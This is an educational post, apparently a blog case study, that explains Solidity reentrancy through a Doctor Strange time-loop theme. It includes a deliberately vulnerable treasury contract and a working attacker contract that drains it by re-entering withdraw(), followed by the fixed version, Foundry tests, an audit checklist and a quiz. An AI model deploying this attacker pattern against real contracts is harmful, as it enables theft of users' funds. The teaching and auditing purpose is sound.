🌀 Doctor Strange vs Dormammu - Reentrancy Exploit Case Study
Danger (Dormammu, I’ve come to bargain.)
Over and over and over and over and over…
Until the treasury is empty.
Exactly what a reentrancy loop does - drains your treasury until nothing is left.
TL;DR
Bug: Balance is cleared after sending ETH → attacker re-enters mid-execution.
Impact: Full treasury drain. Infinite loop until balance = 0.
Root Cause: Violating Checks-Effects-Interactions (CEI).
Fix: Move state updates before external calls + use nonReentrant.
🎬 Story Time
In Doctor Strange (2016), Strange traps Dormammu in a time loop. Every time Dormammu ends Strange, the loop resets and Strange returns.
Reentrancy works the same way:
- Dormammu = contract with vulnerable withdraw()
- Doctor Strange = attacker contract
- Time Stone = fallback that “loops” back into withdraw() before state updates
Strange wins through repetition - so does a reentrancy attacker.
All code available in the repo.
🕳️ Vulnerable Contract - Why It Fails
contract DormammuTreasuryVulnerable { mapping(address => uint256) public balanceOf;
function deposit() external payable { require(msg.value > 0, "zero deposit"); balanceOf[msg.sender] += msg.value; }
function withdraw() external { uint256 amount = balanceOf[msg.sender]; require(amount > 0, "no balance");
// ← External call BEFORE state update → reentrancy window (bool sent,) = payable(msg.sender).call{value: amount}(""); require(sent, "send failed");
// Too late, Strange already re-entered balanceOf[msg.sender] = 0; }
function treasuryBalance() external view returns (uint256) { return address(this).balance; }}Warning
Critical flaw: the contract sends ETH before clearing the balance.
This gives attacker-controlled contracts execution control while balanceOf still shows funds.
If the recipient is a contract with a receive() or fallback(), it gets control while the treasury still thinks the user has a balance.
The Attacker - Controlled Time Loop
contract TimeStone { DormammuTreasuryVulnerable public treasury; address public owner; uint256 public rewardAmount;
constructor(address _vuln) { treasury = DormammuTreasuryVulnerable(_vuln); owner = msg.sender; }
function attack() external payable { require(msg.sender == owner, "Only the Sorcerer Supreme"); require(msg.value > 0, "Need seed ETH");
treasury.deposit{value: msg.value}(); rewardAmount = msg.value; treasury.withdraw(); // ← starts the loop }
// Re-enter here as long as treasury still holds funds receive() external payable { if (address(treasury).balance >= rewardAmount) { treasury.withdraw(); // ← “I’ve come to bargain.” } }
function collect() external { require(msg.sender == owner); payable(owner).transfer(address(this).balance); }}Attack Flow
- Strange deposits 1 ETH → now eligible to withdraw
- Strange calls
withdraw() - Treasury sends 1 ETH before clearing balance
TimeStone.receive()triggers → callswithdraw()again- Repeat until treasury empty → “Dormammu, I’ve come to bargain… again.”
Fixed Contract - CEI + ReentrancyGuard
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract DormammuTreasuryFixed is ReentrancyGuard { mapping(address => uint256) public balanceOf;
function deposit() external payable { require(msg.value > 0, "zero deposit"); balanceOf[msg.sender] += msg.value; }
function withdraw() external nonReentrant { uint256 amount = balanceOf[msg.sender]; require(amount > 0, "no balance");
// Effects BEFORE interaction balanceOf[msg.sender] = 0;
// Now safe to send (bool sent, ) = payable(msg.sender).call{value: amount}(""); require(sent, "send failed"); }}Now even if the recipient re-enters, either:
- CEI already cleared the balance → withdraw does nothing
nonReentrantinstantly reverts the whole tx
Foundry Tests
contract ReentrancyDormammuTest is Test {25 collapsed lines
DormammuTreasuryVulnerable treasury; DormammuTreasuryFixed fixedTreasury; TimeStone stone; TimeStone timeStoneFixed;
address public Doctor_Strange = makeAddr("Doctor Strange");
function setUp() public { treasury = new DormammuTreasuryVulnerable(); fixedTreasury = new DormammuTreasuryFixed();
// Fund treasuries with 20 ETH from other citizens vm.deal(address(this), 50 ether); treasury.deposit{value: 20 ether}(); fixedTreasury.deposit{value: 20 ether}();
// Deploy attack contracts vm.prank(Doctor_Strange); stone = new TimeStone(address(treasury)); vm.deal(address(Doctor_Strange), 5 ether);
vm.prank(Doctor_Strange); timeStoneFixed = new TimeStone(address(fixedTreasury)); }
function testStrangeDrainsDormammu() public { uint256 initialTreasury = address(treasury).balance;// 20 ETH
vm.prank(Doctor_Strange); stone.attack{value: 1 ether}();
vm.prank(Doctor_Strange); stone.collect();
uint256 remainingTreasury = address(treasury).balance; assertLt(remainingTreasury, 20 ether); }
function testFixedTreasuryResists() public { uint256 initialTreasury = address(fixedTreasury).balance; assertEq(initialTreasury, 20 ether);
vm.prank(Doctor_Strange); vm.expectRevert(); // nonReentrant catches the second call timeStoneFixed.attack{value: 1 ether}();
assertEq(address(fixedTreasury).balance, 20 ether); }}Real-World Victims (2024–2025)
-2025)
- GMX - $40M (July 9, 2025) - Cross-function reentrancy in order execution
- Penpie - $27M (Sep 2024) - Fake tokens + reentrancy in reward distribution
Same bug. Different year.
Auditor’s Checklist
Warning
- Does any function write state after external calls?
- Does ANY code path allow callbacks (ERC777, hooks, fallback, onReceive)?
- Are multiple external functions sharing the same state (shared balance)?
- Are dangerous primitives (call, delegatecall, token callbacks) guarded?
- Are attacker contracts included in test suite?
- Any function that transfers ETH missing nonReentrant?
Recommendations
- Always follow Checks → Effects → Interactions
- Always use
nonReentranton withdrawal/mint/burn/callback functions - Use pull-payment pattern when possible
- Test with attacker contracts - every single time
Quiz - Test Your Sorcery
Exercise (1. What makes the treasury vulnerable?)
a) Missing access control
b) Using call instead of transfer
c) External call before balance = 0
d) Public deposit function
Answer
c) External call before balance = 0 → opens reentrancy window
Exercise (2. Which completely stops the attack?)
a) Using transfer (2300 gas)
b) Adding a timelock
c) nonReentrant modifier
d) Making withdraw internal
Answer
c) nonReentrant (or pure CEI - but guard is safer with many functions)
Exercise (3. What happens to the treasury?)
a) Funds frozen
b) Funds drained repeatedly
c) Only attacker’s funds stolen
d) Contract self-destructs
Answer
b) Funds drained repeatedly - “I’ve come to bargain” until empty
Tip
Full code + SVG + tests in the repo:
github.com/thesandf/thesandf.xyz
Dormammu was defeated by a loop. Your contract will be too - unless you respect CEI.